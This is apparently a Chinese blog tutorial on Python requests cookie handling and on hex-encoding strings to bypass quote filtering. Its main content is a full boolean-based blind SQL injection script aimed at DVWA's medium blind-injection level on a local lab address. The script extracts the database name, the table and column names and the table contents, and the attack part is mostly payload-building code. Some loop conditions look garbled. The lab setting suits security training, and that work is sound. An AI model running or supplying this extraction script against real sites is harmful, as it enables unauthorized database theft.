本文使用python3的requests模块发送和接收http报文
1、Cookie头包含多个值单个cookie的情况,cookie可以通过headers参数传入,比如:
import requests url = "http://192.168.101.16/pikachu/vul/sqli/sqli_blind_b.php" headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", "Cookie": "PHPSESSID=7qgjcq21lsq834acodn0mo7km3" } param = { "name":"lili", "submit":"查询", } response = requests.get(url, params = param, headers = headers)
多个cookie的情况,再用这种方法就不行了,比如如果把上图代码中headers字典写成
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", "Cookie": "PHPSESSID=7qgjcq21lsq834acodn0mo7km3; seurity=medium" }
虽然脚本执行的时候不会报错,但加 print(response.request.headers) 打印之后会发现,request报文头中是不会带入我们设置的cookie的(忘记具体是根本没有Cookie头,还是会自动生成新cookie了>︿<)
对于多个cookie的情况,需要用到cookies参数
import requests url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", } cookies={"security": "medium", "PHPSESSID": "07bucms1va26di95pntpl9qm57"} #单个cookie的情况可以直接写在headers中,两个cookie的情况要用字典形式的cookies参数 param = { "id":"1", "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies)2、绕过引号过滤
可以通过把字符串转换为十六进制ascii来绕过引号过滤,需要用到binascii模块。只需要两步就可以把字符串转换为十六进制ascii码
import binascii table='USERS' table = binascii.b2a_hex(table.encode()) table = table.decode('ascii')
以dvwa的SQL Injection (Blind)关卡的medium等级为例,该等级过滤了引号,并且dvwa全站都是有至少2个cookie值。
以下代码可以实现本关卡的数据库爆库操作(未经允许不可转载引用,虽然可能也不会有人想转载引用。)
#!/usr/bin/python3 # coding=utf-8 """ functions for boolean-based sql injection(POST,with Single quotes filtering bypass) :copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved. :license: GNU General Public License v3.0, see LICENSE for more details. """ import requests import binascii url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" #有可利用漏洞的url,根据实际情况填写 headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", } #http request报文头部,根据实际情况填写 cookies={"security": "medium", "PHPSESSID": "07bucms1va26di95pntpl9qm57"} #单个cookie的情况可以直接写在headers中,两个cookie的情况要用字典形式的cookies参数 keylist = [hex(i) for i in range(33, 127)] #十六进制ASCII,包括数字、大小写字母、可见特殊字符 flag = 'User ID exists in the database' #用于判断附加sql语句为真的字符,根据网页回显填写 def CurrentDatabasePOST(): n = 10 #预测当前数据库名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 db = str() while True: if j>k and j3: payload1 = "1 and length(database())>"+str(j)+"-- ss" #所有payload根据实际情况填写 param = { "id":payload1, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) #POST方法发送含payload的request #print(response.request.body) #print(response.request.headers) #print(response.text) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload2 = "1 and length(database())="+str(i)+"-- ss" param = { "id":payload2, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: length = i break break else: break print("the name of current database contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload3 = "1 and substring(database(),"+str(i)+",1)="+c+"-- ss" param = { "id":payload3, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: db = db+chr(int(c,16)) #把十六进制ascii转换为十进制ascii,再转换为字符 break print("the name of current database is "+str(db)) def TablesPOST(): n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 tname = str() while True: if j>k and j3: payload4 = "1 and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss" param = { "id":payload4, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload5 = "1 and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss" param = { "id":payload5, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: length = i break break else: break print("the name of all tables in current database contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload6 = "1 and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)="+c+"-- ss" param = { "id":payload6, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: tname = tname+chr(int(c,16)) break print("the name of all tables in current database is "+str(tname)) def ColumnsPOST(table): #table参数是需要爆破的数据表名称,记得加单引号 n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 cname = str() table = binascii.b2a_hex(table.encode()) table = table.decode('ascii') #这两步把table从str转换为十六进制ascii while True: if j>k and j3: payload7 = "1 and (length((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+")))>"+str(j)+"-- ss" param = { "id":payload7, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload8 = "1 and (length((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+")))="+str(i)+"-- ss" param = { "id":payload8, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: length = i break break else: break print("the name of all columns in current table contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload9 = "1 and substr((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+"),"+str(i)+",1)="+c+"-- ss" param = { "id":payload9, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: cname = cname+chr(int(c,16)) break print("the name of all columns in current table is "+str(cname)) def ContentPOST(table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号 n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写 k = 0 j = n//2 length = 0 content = str() while True: if j>k and j3: payload10 = "1 and (length((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+")))>"+str(j)+"-- ss" param = { "id":payload10, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: n=n k=j else: k=k n=j j=(n-k)//2 elif j-k==3 or j-k<3: for i in range(k-1,n+2): payload11 = "1 and (length((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+")))="+str(i)+"-- ss" param = { "id":payload11, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: length = i break break else: break print("the content contains "+str(length)+" characters") for i in range(1,length+1): for c in keylist: payload12 = "1 and substr((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+"),"+str(i)+",1)="+c+"-- ss" param = { "id":payload12, "Submit":"Submit", } response = requests.post(url, data = param, headers = headers, cookies = cookies) if response.text.find(flag) != -1: content = content+chr(int(c,16)) break print("the content is "+str(content))